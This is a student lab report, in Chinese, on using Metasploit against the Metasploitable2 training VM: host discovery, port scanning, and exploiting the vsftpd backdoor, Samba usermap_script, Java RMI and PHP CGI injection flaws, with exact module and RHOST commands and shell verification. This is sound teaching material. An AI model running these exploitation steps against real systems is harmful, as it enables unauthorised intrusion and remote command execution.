1.實驗內容
掌握metasploit的用法。
下載官方靶機Metasploitable2,完成下面實驗內容。
(1)前期滲透
①主機發現(可用Aux中的arp_sweep,search一下就可以use)
②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③選做:也可以掃系統版本、漏洞等。
(2)Vsftpd原始碼包後門漏洞(21埠)
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
(4)Java RMI SERVER命令執行漏洞(1099埠)
(5)PHP CGI引數執行注入漏洞(80埠)
2.實驗過程
2.1前期滲透
2.1.1主機發現:
檢視主機ip地址:
發現主機ip地址為192.168.12.129
檢視靶機ip地址:
發現靶機ip地址為192.168.12.146
使用root許可權啟動msfconsole
搜尋漏洞庫,輸入命令search arp_sweep
use 0
show options
設定好靶機ip後run
2.1.2 埠掃描
利用Aux中的portscan/tcp,輸入命令search portscan/tcp
use 0
show options
掃描到了1-65535中的以下埠
設定靶機ip和掃描埠範圍,輸入命令set RHOSTS 192.168.12.146
set PORTS 1=65535
後run
2.1.3掃描目標HTTP伺服器的HTTP版本資訊
輸入命令use auxiliary/scanner/http/http_version
show missing
set RHOST 192.168.12.146
,然後run
2.2 Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“😃”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
在kali中執行msfconsole
啟動metasploit後輸入命令use exploit/unix/ftp/vsftpd_234_backdoor
來選擇漏洞,set RHOST 192.168.12.146
來設定靶機IP
輸入命令run
,利用成功,執行uname –a、 pwd、 id等命令 驗證
2.3 SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
這裡靶機ip改變為192.168.1.116
輸入命令use exploit/multi/samba/usermap_script
來選擇漏洞
輸入set RHOST 192.168.1.116
來設定靶機IP
輸入run
開始攻擊,執行uname–a驗證
2.4 Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
根據前期掃描結果,靶機1099埠是開放的
這裡使用同學的電腦完成,因此靶機ip地址改變為192.168.1.112
然後在MSF中輸入命令
use exploit/multi/misc/java_rmi_server
show missing
set RHOST 192.168.1.112
run
執行成功
輸入命令sessions -i 3
進入任務
輸入shell,利用whoami驗證下
2.5、PHP CGI引數執行注入漏洞(80埠)
漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
根據前期掃描結果可知,靶機80埠是開放的
輸入命令use exploit/multi/http/php_cgi_arg_injection
來選擇漏洞
set RHOST 192.168.1.116
來設定靶機IP
輸入run
開始攻擊,進入shell後輸入ls檢視檔案
3.問題及解決方案
問題1:第四步Java RMI SERVER命令執行漏洞(1099埠)過程中不能建立session
解決方案:查詢資料發現可能是RMI服務不能正常啟動,需要運用Java的知識,因為缺少Java相關知識所以選擇同學的虛擬機器進行第四步。
4.學習感悟、思考等
透過本次實驗,我發現Metasploit的功能非常強大,它整合了眾多的漏洞利用模組、payload(有效載荷)、輔助模組等。在學習和實踐過程中,我深刻體會到了這款工具在網路安全領域的重要性。透過它,我可以對目標系統進行全面的漏洞掃描和滲透測試,從而對靶機進行攻擊。Metasploit的使用需要一定的技術基礎和經驗。透過不斷地學習和實踐,我逐漸掌握了它的使用方法和技巧。我學會了如何使用search、show、set、run這些命令。Metasploit的實踐學習也讓我更加明白了網路安全的重要性。在滲透測試過程中,我深刻體會到了駭客攻擊的危害性和破壞性。一旦目標系統存在漏洞,駭客就可以利用這些漏洞進行攻擊,竊取敏感資訊、破壞系統正常執行,甚至造成更大的損失。因此,保護網路安全至關重要,需要不斷地加強安全防護措施,提高系統的安全性和穩定性。